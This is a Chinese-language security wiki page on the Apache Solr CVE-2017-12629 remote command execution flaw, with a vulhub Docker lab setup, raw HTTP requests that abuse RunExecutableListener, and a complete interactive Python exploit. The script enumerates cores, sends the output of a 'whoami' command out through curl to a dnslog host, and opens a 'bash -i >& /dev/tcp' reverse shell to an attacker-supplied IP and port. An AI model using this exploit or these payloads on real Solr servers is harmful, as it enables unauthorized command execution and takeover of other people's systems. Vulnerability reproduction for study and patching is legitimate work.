menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Apache Solr chevron_right Apache Solr RCE 远程命令执行漏洞 CVE-2017-12629.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Apache Solr RCE 远程命令执行漏洞 CVE-2017-12629.md
    7.81 KB / 2021-04-15 12:15:18
        # Apache Solr RCE 远程执行漏洞 CVE-2017-12629
    
    ## 漏洞描述
    
    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:[XML实体扩展漏洞(XXE)](https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
    
    
    
    ## 影响版本
    
    > [!NOTE]
    >
    > Apache Solr < 7.1
    
    
    
    ## 环境搭建
    
    ```
    https://github.com/vulhub/vulhub.git
    cd vulhub/solr/CVE-2017-12629
    docker-compose build
    docker-compose up -d
    ```
    
    ## 漏洞复现
    
    ### 远程命令执行
    
    先请求url地址获取 core 内容 
    
    http://xxx.xxx.xxx.xxx:8983/solr/admin/cores
    
    ![](image/solr-6.png)
    
    > [!NOTE]
    >
    > 通过查看代码,能够触发命令执行的事件有两个:postCommit 和 newSearcher
    
    ![](image/solr-7.png)
    
    #### 使用 postCommit
    
    第一个请求包用于载入缓存中
    
    > [!NOTE]
    >
    > exe : ping  执行的命令
    >
    > dir: 命令存在的目录位置
    >
    > args:命令参数
    >
    > 如下请求包执行的是 /bin/ping 1.1.1.1
    
    ```json
    POST /solr/demo/config HTTP/1.1
    Host: xxx.xxx.xxx.xxx:8983
    Connection: close
    Content-Type: application/json  
    Content-Length: 198
    
    {
      "add-listener" : {
        "event":"postCommit",
        "name":"newlistener-1",
        "class":"solr.RunExecutableListener",
        "exe":"ping",
        "dir":"/bin/",
        "args":["1.1.1.1"]
      }
    }
    ```
    
    ![](image/solr-8.png)
    
    第二个请求包用于更新缓存并执行命令
    
    ```json
    POST /solr/demo/update HTTP/1.1
    Host: xxx.xxx.xxx.xxx:8983
    Connection: close
    Content-Type: application/json  
    Content-Length: 198
    
    [{"id":"test"}]
    ```
    
    ![](image/solr-9.png)
    
    > [!NOTE]
    >
    > 注意 第一个请求包的这个位置 "name":"newlistener-1",
    >
    > listerer的名字需要替换,例如第一次 为 newlistener-1 ,第二次则需要改为 newlistener-2
    >
    > 注意 第二个请求包的这个位置  [{"id":"test"}],
    >
    > 同第一个请求包的name,每执行一次就需要更换 id ,例如第一次 为 test ,第二次则需要改为 tset-2
    >
    > 注意 Content-Type: application/json 需要添加
    
    不更改执行发生报错示例
    
    ![](image/solr-12.png)
    
    进入docker容器查看发现命令已经执行
    
    ![](image/solr-10.png)
    
    #### 使用 newSearcher
    
    使用 newSearcher可以直接加载入缓存执行命令
    
    请求包如下
    
    ```json
    POST /solr/demo/config HTTP/1.1
    Host: xxx.xxx.xxx.xxx:8983
    Connection: close
    Content-Type: application/json  
    Content-Length: 198
    
    {
      "add-listener" : {
        "event":"newSearcher",
        "name":"newlistener-2",
        "class":"solr.RunExecutableListener",
        "exe":"bash",
        "dir":"/bin/",
        "args":[
             "-c",
             "mkdir /tmp/vuln",
        ]
      }
    }
    ```
    
    > [!NOTE]
    >
    > 注意点同上,也需要每次执行更改 "name":"newlistener-2" 的参数
    
    ![](image/solr-11.png)
    
    成功执行了创建文件的命令
    
    ![](image/solr-13.png)
    
    #### 关于
    
    如果想要执行其他命令,则需要命令的的位置,例如执行ping,则需要设置dir参数为 /usr/bin/ping 或者 /bin/ping,如果需要检测漏洞是否存在则可以使用 dnslog来检测
    
    
    
    ### 漏洞利用POC
    
    ```python
    #!/usr/bin/python3
    #-*- coding:utf-8 -*-
    # author : PeiQi
    # from   : http://wiki.peiqi.tech
    
    import requests
    import sys
    import json
    import random
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
        print('+  \033[34mVersion: Apache Solr < 7.1                                        \033[0m')
        print('+  \033[36m使用格式: python3 cve-2017-12629.py                                 \033[0m')
        print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:8983                            \033[0m')
        print('+  \033[36mcmd    >>> dnslog地址(漏洞外连检测)                                  \033[0m')
        print('+  \033[36mCmd    >>> shell(反弹shell)                                        \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url):
        core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
        try:
            response = requests.request("GET", url=core_url, timeout=10)
            core_name = list(json.loads(response.text)["status"])[0]
            print("\033[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config\033[0m")
            return core_name
        except:
            print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
            sys.exit(0)
    
    def POC_2(target_url, core_name, dnslog_url, n):
        exp_url = target_url + "/solr/" + core_name + "/config"
        dnslog_url = "`whoami`." + dnslog_url
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
        }
        payload_cmd = """
        {"add-listener":{"event":"postCommit","name":"newSearche-%s","class":"solr.RunExecutableListener","exe":"curl","dir":"/usr/bin/","args":["%s"]}}
        """ % (n, dnslog_url)
    
        response = requests.request("POST", url=exp_url, headers=headers, data=payload_cmd, timeout=30)
        if "add-listener" in response.text:
            print("\033[32m[o] 成功执行,请查看dnslog \033[0m")
        else:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
    
    def POC_3(target_url, core_name, n, ip, port):
        exp_url = target_url + "/solr/" + core_name + "/config"
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
        }
        payload_cmd = """
            {"add-listener":{"event":"postCommit","name":"newSearche-%s","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash -i >& /dev/tcp/%s/%s 0>&1"]}}
            """ % (n, ip, port)
    
        response = requests.request("POST", url=exp_url, headers=headers, data=payload_cmd, timeout=30)
        if "add-listener" in response.text:
            print("\033[32m[o] 成功执行 \033[0m")
        else:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        core_name = POC_1(target_url)
    
        while True:
            n = random.randint(1, 9999)
            cmd = input("\033[35mCmd >>> \033[0m")
            if cmd == "exit":
                exit(0)
            elif cmd == "shell":
                IP   = str(input("\033[35m请输入监听IP   >>> \033[0m"))
                PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
                POC_3(target_url, core_name, n, IP, PORT)
            elif cmd == "dnslog":
                dnslog_url = str(input('\033[35m请输入你的dnslog地址:\033[0m'))
                POC_2(target_url, core_name, dnslog_url, n)
    ```
    
    ![](image/solr-15.png)
    
    ![](image/solr-14.png)
    
    > [!NOTE]
    >
    > 如果shell或dnslog无反应,可以选择更改一下POC的部分参数执行需要的代码
    
    ## 参考文章
    
    [Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测](https://www.freebuf.com/sectool/159970.html)
    
    [cve-2017-12629 apache solr xxe & rce 漏洞分析](https://blog.csdn.net/whatday/article/details/106974271?utm_medium=distribute.pc_relevant.none-task-blog-title-7&spm=1001.2101.3001.4242)
    
    
    
    links
    file_download